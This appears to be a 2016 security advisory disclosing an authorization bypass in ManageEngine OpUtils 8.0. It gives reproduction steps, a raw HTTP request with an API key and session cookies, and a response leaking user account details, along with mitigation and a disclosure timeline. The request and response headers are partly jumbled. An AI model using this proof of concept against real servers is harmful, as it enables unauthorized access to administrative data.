Manage Engine OPutils 8.0 Authorization Bypass
Posted on 17 February 2016
================================================== Missing Function Level Access control Vulnerability in OPutils ================================================== . contents:: Table Of Content Overview ======== Title:- Missing Function Level Access control Vulnerability in ManageEngine OpUtils Author: Kaustubh G. Padwad Vendor: ZOHO Corp Product: OPUTILS Tested Version: : OPUTILS 8.0 Severity: Medium Advisory ID ============ 2016-06-Manage_Engine About the Product: ================== OpUtils is a Switch Port & IP Address Management software that helps network engineers manage their Switches and IP Address Space with ease. With its comprehensive set of 30+ tools, it helps them to perform network monitoring tasks like detecting a rogue device intrusion, keep a check on bandwidth usage, monitoring availability of critical devices, backing up Cisco configuration files and more. Description: ============ This Missing Function Level Access Control vulnerability enables an Normal user to execute the Adinisitative Task. Vulnerability Class: ==================== 2013-A7-Missing Function Level Access Control https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control How to Reproduce: (POC): ======================== * Get The administrative Task URL from either demo site or download locally * Now Login With Normal User * Paste the below requst or any other for Ex. http://IP-OF-Server:7080/oputilsapi/admin?v=1&format=json&key=375e0fa0-0bb3-479c-a646-debb90a1f5f0&operation=GET_USER_DETAILS POC ==== Burp Requst ----------- GET /oputilsapi/admin?v=1&format=json&key=375e0fa0-0bb3-479c-a646-debb90a1f5f0&operation=GET_USER_DETAILS HTTP/1.1 Host: 192.168.1.10:7080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Response -------- HTTP/1.1 200 OK erver: Apache-Coyote/1.1 Content-Type: application/json;charset=UTF-8 Content-Length: 589 Date: Thu, 04 Feb 2016 14:28:25 GMT {"result":[{"ad-domain-name":"","user-name":"admin","account-created-time":"30 Jan 16, 12:20 AM","Action":"","user-contactinfo-id":"1","user-role":"Administrator","user-description":"--","user-phone-number":"","user-email":"","user-id":"1","ad-domain-id":"","user-login-id":"1"},{"ad-domain-name":"","user-name":"kk","account-created-time":"30 Jan 16, 12:23 AM","Action":"","user-contactinfo-id":"2","user-role":"Read Only User","user-description":"--","user-phone-number":"","user-email":"","user-id":"2","ad-domain-id":"","user-login-id":"2"}],"input":"{userId=null}","status":"Success"} Server: Apache-Coyote/1.1 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST Access-Control-Max-Age: 5000 Content-Type: application/json;charset=UTF-8 Date: Sat, 30 Jan 2016 21:39:03 GMT Content-Length: 19 {"resolved":true} Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.1.10:7080/apiclient/ember/index.jsp Cookie: OPUTILSJSESSIONID=C256E5B41CC23B33ACF94D206E243FB2; JSESSIONID=B59D8FD4B17DB7200A991299F4034DF1; OPUTILSJSESSIONIDSSO=28A377BA0B7D0C6E21D1E2B3A3E4A371 Connection: keep-alive Mitigation ========== Upgrade to NextService Pack Disclosure: =========== 04-Feb-2016 Repoerted to vendor 11-Feb-2016 Fixed By Vendor credits: ======== * Kaustubh Padwad * Information Security Researcher * kingkaustubh@me.com * https://twitter.com/s3curityb3ast * http://breakthesec.com * https://www.linkedin.com/in/kaustubhpadwad